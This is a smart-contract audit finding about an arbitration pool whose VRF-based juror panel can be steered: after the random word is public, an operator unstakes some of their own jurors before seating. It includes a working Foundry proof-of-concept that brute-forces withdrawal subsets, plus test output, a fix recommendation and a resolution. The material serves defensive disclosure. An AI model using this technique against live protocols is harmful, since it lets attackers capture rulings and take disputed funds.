Panel composition can be ground after the VRF word is public
Introduced by the fix for the VRF gas ceiling: the random word became public before the juror set it draws from was fixed. Three independent routes could reshape that set after delivery to steer panel composition. Closed by freezing the eligible population when the case is armed.
Description
The F-2026-0012 remediation split VRF fulfilment in two: rawFulfillRandomWords now records the random word only, and the O(registry) eligibility scan runs later in a permissionless seatPendingPanel. That removes the callback gas ceiling, but it also separates two steps that were previously atomic.
The selection seed is pending.randomWord alone. The set it draws from is packed from the juror registry at seating time, which is after the word is already public. Three properties combine:
rawFulfillRandomWordspublishes the word and emitsRandomWordFulfilled. The panel is not yet determined.seatPendingPanelis permissionless and has no deadline, so with a real coordinator there is always a window between fulfilment and seating.unstake()is immediately callable by a juror who has matured and never been seated.unstakeEligibleAtis written only in_releaseJuror, when a juror comes off an assignment, so it is still0for a juror who has never served.lockedUntilandactiveAssignmentsare likewise0.
removeFromRegistry is swap-and-pop, so each withdrawal both decrements eligibleCount and moves the last registry entry into the vacated slot. Since every index is keccak256(seed, slot, attempt) % eligibleCount, a single withdrawal re-derives the entire panel.
A juror operator can therefore read the delivered word, simulate the resulting panel for every subset of their own jurors they might withdraw, execute the best one, and call seatPendingPanel in the same transaction — front-running any honest seating. unstake() returns the stake in full, so the attempt costs only gas.
Vulnerable Scenario: The following steps help understand the issue:
- An operator onboards several attested jurors and waits out
STAKE_MATURATION. - A dispute opens on a deal they care about and the coordinator delivers the random word.
- Reading the word from the fulfilment transaction, they compute the panel that each possible withdrawal of their own jurors would produce.
- In one transaction they withdraw the subset that maximises their own representation and call
seatPendingPanel, fixing that panel before anyone else can seat it.
Measured with a 3-seat panel against 12 honest jurors: an operator holding 4 jurors is seated 1 of 3 by the word as delivered, and 2 of 3 — a controlling majority — after withdrawing 2 of their own first. Across 8 random words, withdrawal produced a majority that was not otherwise available in 2 of 8 cases with 4 controlled jurors, and 4 of 8 with 6. The search space is every subset of the jurors under control, so the advantage grows with the number held.
Impact
A panel majority decides the ruling, and therefore the disputed principal. The operator does not need to win every case — only the ones worth attacking, and they can pre-position more jurors ahead of a specific high-value dispute.
Attestation does not defend against this. The jurors are legitimately attested and each holds one identity; what is being ground is panel composition, not identity count. This is a materially cheaper route to the panel capture that F-2026-0004's attestation gate was introduced to make expensive.
Proof of Concept
Reproduces on main at 26cf3a1. The audited surface is byte-identical between 8dbda74 and
26cf3a1, so the passkey-account commits do not affect this finding either way.
Two files, both into test/foundry/:
1. test/foundry/R3_SeatingGrind.t.sol
// SPDX-License-Identifier: UNLICENSEDpragma solidity ^0.8.20;import "./PocBase.t.sol";import {ProtocolTimings} from "../../contracts/lib/ProtocolTimings.sol";/// @dev Coordinator that records the request and does NOT chain seating, matching the/// real Chainlink flow where fulfilment and seating are separate transactions.contract DeferredVRF {uint256 public nextRequestId = 1;uint256 public lastRequestId;fallback(bytes calldata) external returns (bytes memory) {lastRequestId = nextRequestId++;return abi.encode(lastRequestId);}}/// @notice Round 3 integration check on the H-11 fix.////// H-11 moved panel selection out of the VRF callback into a permissionless/// `seatPendingPanel`. The seed is the delivered random word alone, but the eligible/// set is packed from the registry at SEATING time — which is after the word is public./// A juror who has matured and never been seated can `unstake()` freely, and removal is/// swap-and-pop, so each removal changes both `eligibleCount` and the array order.contract R3_SeatingGrind is PocBase {DeferredVRF dvrf;address[] attackers;uint256 constant HONEST = 12;uint256 constant ATTACKER = 4;function _stack(bytes32 wordSeed) internal returns (bytes32 caseId) {_deployStack(6);dvrf = new DeferredVRF();vm.prank(owner);pool.setVRFConfig(address(dvrf), bytes32(0), 1, 2_500_000);_fundFeePool(500_000e6);for (uint256 i = 0; i < HONEST; i++) {_stakeJuror(address(uint160(0xB0000 + i)), 0, ArbitrationPoolLib.MIN_STAKE_COMMUNITY);}delete attackers;for (uint256 i = 0; i < ATTACKER; i++) {address a = address(uint160(0xA0000 + i));attackers.push(a);_stakeJuror(a, 0, ArbitrationPoolLib.MIN_STAKE_COMMUNITY);}Escrow e = _createFundedEscrow(100_000e6, 5);vm.warp(e.deliveryDueAt() + 1);vm.prank(buyer);e.raiseDispute("d");pool.openCase(address(e)); // request only — no seatingcaseId = pool.caseIdFor(address(e));// The coordinator delivers the word. It is now public on-chain, and the panel// is still unfixed until someone calls seatPendingPanel.uint256[] memory words = new uint256[](1);words[0] = uint256(wordSeed);uint256 reqId = dvrf.lastRequestId(); // hoisted: an external call consumes the prankvm.prank(address(dvrf));pool.rawFulfillRandomWords(reqId, words);}function _attackerSeats(bytes32 caseId) internal view returns (uint256 n) {address[] memory panel = _panel(caseId);for (uint256 i = 0; i < panel.length; i++) {for (uint256 j = 0; j < attackers.length; j++) {if (panel[i] == attackers[j]) { n++; break; }}}}/// HARM: with the random word already public, an actor holding a few legitimately/// attested jurors chooses the panel composition by unstaking a subset of/// their own jurors before seating — and can do it atomically, front-running/// any honest seating.function test_panelCompositionIsGroundAfterTheWordIsPublic() public {bytes32 caseId = _stack(keccak256("vrf-word"));uint256 base = vm.snapshotState();pool.seatPendingPanel(caseId);uint256 baseline = _attackerSeats(caseId);emit log_named_uint("attacker seats, seating as-is ", baseline);vm.revertToState(base);uint256 best = baseline;uint256 bestMask;// Enumerate every subset of the attacker's own jurors to withdraw first.for (uint256 mask = 1; mask < (1 << ATTACKER); mask++) {uint256 s = vm.snapshotState();for (uint256 i = 0; i < ATTACKER; i++) {if (mask & (1 << i) != 0) {vm.prank(attackers[i]);pool.unstake(); // matured, never seated: no cooldown, no lock}}pool.seatPendingPanel(caseId);uint256 got = _attackerSeats(caseId);if (got > best) { best = got; bestMask = mask; }vm.revertToState(s);}emit log_named_uint("attacker seats, best grind ", best);emit log_named_uint("withdrawal subset used (bitmask) ", bestMask);emit log_named_uint("panel size ", 3);assertGt(best, baseline, "grinding the eligible set improves panel capture");}/// Robustness: the advantage is not specific to one random word.function test_grindAdvantageAcrossManyWords() public {uint256 wins;uint256 majorities;for (uint256 k = 0; k < 8; k++) {bytes32 caseId = _stack(keccak256(abi.encodePacked("word", k)));uint256 base = vm.snapshotState();pool.seatPendingPanel(caseId);uint256 baseline = _attackerSeats(caseId);vm.revertToState(base);uint256 best = baseline;for (uint256 mask = 1; mask < (1 << ATTACKER); mask++) {uint256 sp = vm.snapshotState();for (uint256 i = 0; i < ATTACKER; i++) {if (mask & (1 << i) != 0) { vm.prank(attackers[i]); pool.unstake(); }}pool.seatPendingPanel(caseId);uint256 got = _attackerSeats(caseId);if (got > best) best = got;vm.revertToState(sp);}if (best > baseline) wins++;if (best >= 2) majorities++;emit log_named_uint("word index ", k);emit log_named_uint(" seats as-is ", baseline);emit log_named_uint(" seats after grinding ", best);}emit log_named_uint("words where grinding helped ", wins);emit log_named_uint("words yielding a 2/3 majority", majorities);}}
2. test/foundry/PocBase.t.sol - shared harness: deploys the stack, onboards attested jurors, funds an escrow and opens a dispute. Click to expand.
// SPDX-License-Identifier: UNLICENSEDpragma solidity ^0.8.20;import "forge-std/Test.sol";// Named imports: Escrow.sol and ArbitrationPool.sol both declare file-level errors with// identical names (ZeroAmount, NotActive, NotDisputed), so wildcard imports collide.import {ArbitrationPool} from "../../contracts/ArbitrationPool.sol";import {EscrowFactory} from "../../contracts/EscrowFactory.sol";import {Escrow} from "../../contracts/Escrow.sol";import {MockVRFCoordinator} from "../../contracts/MockVRFCoordinator.sol";import {ArbitrationPoolLib} from "../../contracts/lib/ArbitrationPoolLib.sol";import {ArbitrationPoolTypes} from "../../contracts/lib/ArbitrationPoolTypes.sol";import {ProtocolTimings} from "../../contracts/lib/ProtocolTimings.sol";/// @dev Configurable-decimals ERC-20 stand-in for cNGN. MockUSDT is hardcoded to 18.contract TokenNDecimals {string public name = "cNGN stand-in";string public symbol = "cNGN";uint8 public decimals;uint256 public totalSupply;bool public paused;mapping(address => uint256) public balanceOf;mapping(address => mapping(address => uint256)) public allowance;event Transfer(address indexed from, address indexed to, uint256 value);event Approval(address indexed owner, address indexed spender, uint256 value);constructor(uint8 _decimals) { decimals = _decimals; }function setPaused(bool p) external { paused = p; }function mint(address to, uint256 amount) external {totalSupply += amount;balanceOf[to] += amount;emit Transfer(address(0), to, amount);}function transfer(address to, uint256 value) external returns (bool) {require(!paused, "token paused");require(balanceOf[msg.sender] >= value, "insufficient balance");balanceOf[msg.sender] -= value;balanceOf[to] += value;emit Transfer(msg.sender, to, value);return true;}function approve(address spender, uint256 value) external returns (bool) {allowance[msg.sender][spender] = value;emit Approval(msg.sender, spender, value);return true;}function transferFrom(address from, address to, uint256 value) external returns (bool) {require(!paused, "token paused");require(balanceOf[from] >= value, "insufficient balance");require(allowance[from][msg.sender] >= value, "insufficient allowance");balanceOf[from] -= value;balanceOf[to] += value;allowance[from][msg.sender] -= value;emit Transfer(from, to, value);return true;}}/// @notice Shared local harness. Mirrors test/helpers.js deployPoolAndFactory wiring./// Libraries (TallyLib / SelectLib) are auto-linked by forge for tests.abstract contract PocBase is Test {TokenNDecimals internal token;MockVRFCoordinator internal vrf;ArbitrationPool internal pool;EscrowFactory internal factory;address internal owner = address(0xA11CE);// H-03: the pool now requires a signed identity attestation to onboard a juror.address internal attestor;uint256 internal attestorPk;address internal buyer = address(0xB0B);address internal seller = address(0x5E11E4);address internal treasury = address(0x7);address internal reserve = address(0x8);address internal outsider = address(0x9);uint256 internal constant WAD = 1e6;function _deployStack(uint8 tokenDecimals) internal {token = new TokenNDecimals(tokenDecimals);vrf = new MockVRFCoordinator();(attestor, attestorPk) = makeAddrAndKey("attestor");vm.startPrank(owner);pool = new ArbitrationPool(address(token), address(vrf), bytes32(0), 1, treasury);pool.setAttestor(attestor);factory = new EscrowFactory(address(token), address(pool));pool.configureCommission(address(factory), address(0));pool.setRelayer(owner);vm.stopPrank();vm.label(address(token), "cNGN");vm.label(address(pool), "ArbitrationPool");vm.label(address(factory), "EscrowFactory");vm.label(buyer, "buyer");vm.label(seller, "seller");vm.label(reserve, "reserve");}/// @dev Fund the pool's fee reserve so juror fees are payable.function _fundFeePool(uint256 amount) internal {token.mint(address(this), amount);token.approve(address(pool), amount);pool.fundPool(amount);}/// @dev H-03: onboarding now needs an attestor-signed identity, and the juror is not/// draftable until STAKE_MATURATION has elapsed. `_matureJurors()` advances past it.uint256 internal _lastStakeAt;function _stakeJuror(address juror, uint8 tier, uint256 amount) internal {_lastStakeAt = block.timestamp;token.mint(juror, amount);bytes32 identity = keccak256(abi.encodePacked("identity", juror));uint256 expiresAt = block.timestamp + 365 days;bytes memory sig = _attest(juror, identity, expiresAt);vm.startPrank(juror);token.approve(address(pool), amount);pool.stakeAttested(tier, amount, identity, expiresAt, sig);vm.stopPrank();}function _attest(address juror, bytes32 identity, uint256 expiresAt)internal view returns (bytes memory){bytes32 digest = keccak256(abi.encodePacked("JUROR_ATTESTATION", address(pool), juror, identity, expiresAt, block.chainid));bytes32 eth = keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", digest));(uint8 v, bytes32 r, bytes32 sBytes) = vm.sign(attestorPk, eth);return abi.encodePacked(r, sBytes, v);}/// @dev Advance past the H-03 maturation window so staked jurors become draftable./// @dev H-03: a stake is only drawable once STAKE_MATURATION has elapsed. Idempotent —/// warps only as far as the newest stake requires, so repeated calls are free.function _matureJurors() internal {uint256 eligibleAt = _lastStakeAt + ProtocolTimings.STAKE_MATURATION + 1;if (block.timestamp < eligibleAt) vm.warp(eligibleAt);}/// @dev getCaseJurors was removed at HEAD; the panel now comes from getCaseView.function _panel(bytes32 caseId) internal view returns (address[] memory panel) {(,,,,,, panel) = pool.getCaseView(caseId);}/// @dev Simple (non-milestone) escrow, created and funded by the buyer.function _createFundedEscrow(uint256 amount, uint256 deliverDays) internal returns (Escrow e) {return _createFundedEscrowFor(buyer, amount, deliverDays);}/// @dev H-05 caps concurrent open cases per disputant, so repeated draws need/// a distinct buyer each time.function _createFundedEscrowFor(address b, uint256 amount, uint256 deliverDays)internal returns (Escrow e){_matureJurors();string[] memory titles;uint256[] memory amts;uint256[] memory days_;vm.prank(b);address addr = factory.createEscrow(seller, amount, deliverDays, titles, amts, days_, "NGN", false);e = Escrow(addr);token.mint(b, amount);vm.startPrank(b);token.approve(addr, amount);e.deposit();vm.stopPrank();}/// @dev H-01: an appeal must now self-fund its full 5-seat panel at the case-tier fee.function _minAppealDeposit(uint256 dealValue, bool commercial) internal view returns (uint256) {return ArbitrationPoolLib.caseTierFee(dealValue, commercial,pool.tierFeeExpertCommercial(), pool.tierFeeCommunity(),pool.tierFeeVerified(), pool.tierFeeExpert(), pool.tierFeeCapExpert()) * pool.PANEL_SIZE_APPEAL();}function _bal(address who) internal view returns (uint256) {return token.balanceOf(who);}/// @dev Resolution enum: 0 None, 1 RefundBuyer, 2 ReleaseSeller, 3 Split./// @dev HEAD binds the commit preimage to caseId + ballot epoch, so a commit/// captured for a superseded seating cannot be revealed into a new one.function _commitHash(bytes32 caseId, uint8 vote, bytes32 salt, address juror)internal view returns (bytes32){(uint256 epoch,) = pool.ballotContext(caseId, juror);return keccak256(abi.encodePacked(caseId, epoch, vote, salt, juror));}/// @dev Drive a seated case through commit -> reveal -> tally with a unanimous vote./// Windows come from the compiled ProtocolTimings profile, whatever it is.function _commitRevealTally(bytes32 caseId, address[] memory panel, uint8 vote) internal {(,,,,,,,,,, uint256 evidenceDeadline, uint256 commitDeadline, uint256 revealDeadline,,,,,) =_caseTimings(caseId);vm.warp(evidenceDeadline + 1);for (uint256 i = 0; i < panel.length; i++) {bytes32 h1_ = _commitHash(caseId, vote, bytes32(uint256(i + 1)), panel[i]);vm.prank(panel[i]);pool.commitVote(caseId, h1_);}vm.warp(commitDeadline + 1);for (uint256 i = 0; i < panel.length; i++) {vm.prank(panel[i]);pool.revealVote(caseId, ArbitrationPoolTypes.Resolution(vote), 0, bytes32(uint256(i + 1)));}vm.warp(revealDeadline + 1);pool.tally(caseId);}/// @dev cases() getter returns the Case struct fields positionally; pull the deadlines.function _caseTimings(bytes32 caseId)internalviewreturns (address escrowContract,uint256 disputedMilestoneIndex,uint256 dealValue,bool commercial,uint256 appealDeposit,ArbitrationPoolTypes.Phase phase,ArbitrationPoolTypes.Resolution ruling,uint16 buyerShareBps,ArbitrationPoolTypes.Resolution priorRuling,uint16 priorBuyerShareBps,uint256 evidenceDeadline,uint256 commitDeadline,uint256 revealDeadline,uint256 appealDeadline,uint256 executeAfter,uint8 appealRound,address appellant,uint256 appealActivationDeadline){return pool.cases(caseId);}// ---- EIP-712 meta-auth (HEAD): domain-bound per clone, validUntil-capped ----function _escrowDomain(Escrow e) internal view returns (bytes32) {return keccak256(abi.encode(keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"),keccak256(bytes("Escrow")), keccak256(bytes("1")), block.chainid, address(e)));}function _sign712(Escrow e, bytes32 structHash, uint256 pk) internal view returns (bytes memory) {bytes32 digest = keccak256(abi.encodePacked("\x19\x01", _escrowDomain(e), structHash));(uint8 v, bytes32 r, bytes32 s) = vm.sign(pk, digest);return abi.encodePacked(r, s, v);}function _soon() internal view returns (uint64) { return uint64(block.timestamp + 1 hours); }// ---- Relayed-ballot EIP-712 (HEAD): binds caseId, epoch, juror, payload, nonce, expiry ----function _ballotSig(bytes32 caseId, uint256 epoch, address juror, bytes32 payloadHash,uint256 nonce, uint64 expiry, bool isReveal, uint256 pk) internal view returns (bytes memory) {bytes32 typeHash = isReveal? keccak256("RevealBallot(bytes32 caseId,uint256 epoch,address juror,bytes32 payloadHash,uint256 nonce,uint64 expiry)"): keccak256("CommitBallot(bytes32 caseId,uint256 epoch,address juror,bytes32 payloadHash,uint256 nonce,uint64 expiry)");bytes32 structHash =keccak256(abi.encode(typeHash, caseId, epoch, juror, payloadHash, nonce, expiry));bytes32 digest =keccak256(abi.encodePacked("\x19\x01", pool.BALLOT_DOMAIN_SEPARATOR(), structHash));(uint8 v, bytes32 r, bytes32 s) = vm.sign(pk, digest);return abi.encodePacked(r, s, v);}uint256 internal constant NONCE_MASK = (1 << 128) - 1;}
Running it
The repo pins solc 0.8.20 while contracts/accounts/** requires ^0.8.28, so exclude the
account stack for this run - it is unrelated to the finding:
# foundry.tomllibs = ["node_modules", "lib"]skip = ["contracts/accounts/**", "contracts/test/MockEntryPoint.sol"]
forge test --match-path "test/foundry/R3_SeatingGrind.t.sol" -vv
Observed output
Ran 2 tests for test/foundry/R3_SeatingGrind.t.sol:R3_SeatingGrind
[PASS] test_panelCompositionIsGroundAfterTheWordIsPublic()
Logs:
attacker seats, seating as-is : 1
attacker seats, best grind : 2
withdrawal subset used (bitmask) : 3
panel size : 3
[PASS] test_grindAdvantageAcrossManyWords()
Logs:
word index : 3
seats as-is : 0
seats after grinding : 2
words where grinding helped : 2
words yielding a 2/3 majority: 2
Suite result: ok. 2 passed; 0 failed; 0 skipped
test_panelCompositionIsGroundAfterTheWordIsPublic is the direct demonstration: with the random
word already delivered and public, withdrawing 2 of the operator's own 4 jurors moves them from 1
seat to 2 of 3.
test_grindAdvantageAcrossManyWords is the control that keeps the claim honest - the advantage is
probabilistic, not universal. Across 8 words with 4 controlled jurors it produced an otherwise
unavailable majority in 2 of them. Raising the operator to 6 jurors takes that to 4 of 8 (set
ATTACKER = 6 and re-run). The search space is every subset of the jurors held, so the advantage
scales with the number controlled rather than with stake.
Recommendation
Make any registry change invalidate a random word that has already been delivered. Increment a registryEpoch on every stake and unstake, capture it in the pending record when the word is recorded, and have seatPendingPanel re-arm for a fresh VRF request if the epoch has moved. Selection then always consumes a word that was fixed before the set it draws from could be observed, and the worst an operator can do is force a retry, which VRF_RETRY_DELAY already rate-limits.
Resolution
Fixed. Superseded by a request-time eligibility snapshot: the case-eligible population is
frozen into the pending record inside _requestVRF, before any random word exists, and selection
samples only that frozen list. Maturation is evaluated against the request instant, and a frozen
member can only leave the set, never be added to it.
Re-verified by re-running the original proof of concept and the three-lever suite. All three levers that previously moved the draw set after the word was public now have no effect: seating another pending case first, tallying a finished case first, and waiting for a stake to mature each improved the operator's position in 0 of 16 words, against 9, 6 and 4 of 16 beforehand. The control asserts the frozen set is unchanged at the moment the target seats, so the result reflects the fix rather than the harness. Confirmed on the remediated commit and again on the current head.
Whether the capture moment itself could be chosen to favour the caller was tested separately and could not be reproduced: across every ordering of three seatable cases, the caller's share of the frozen population never rose above the baseline.
Affected files
ArbitrationPool.sol#L825-L838—rawFulfillRandomWords, records the word and returnsArbitrationPool.sol#L848-L905—seatPendingPanel/_seat, selection in a separate transactionArbitrationPool.sol#L663-L677—unstakeArbitrationPool.sol#L1543-L1553—_releaseJuror, the only writer ofunstakeEligibleAtlib/ArbitrationPoolStakeLib.sol#L65-L80—removeFromRegistry, swap-and-poplib/ArbitrationPoolSelectLib.sol#L88-L118— eligible set packed at seating time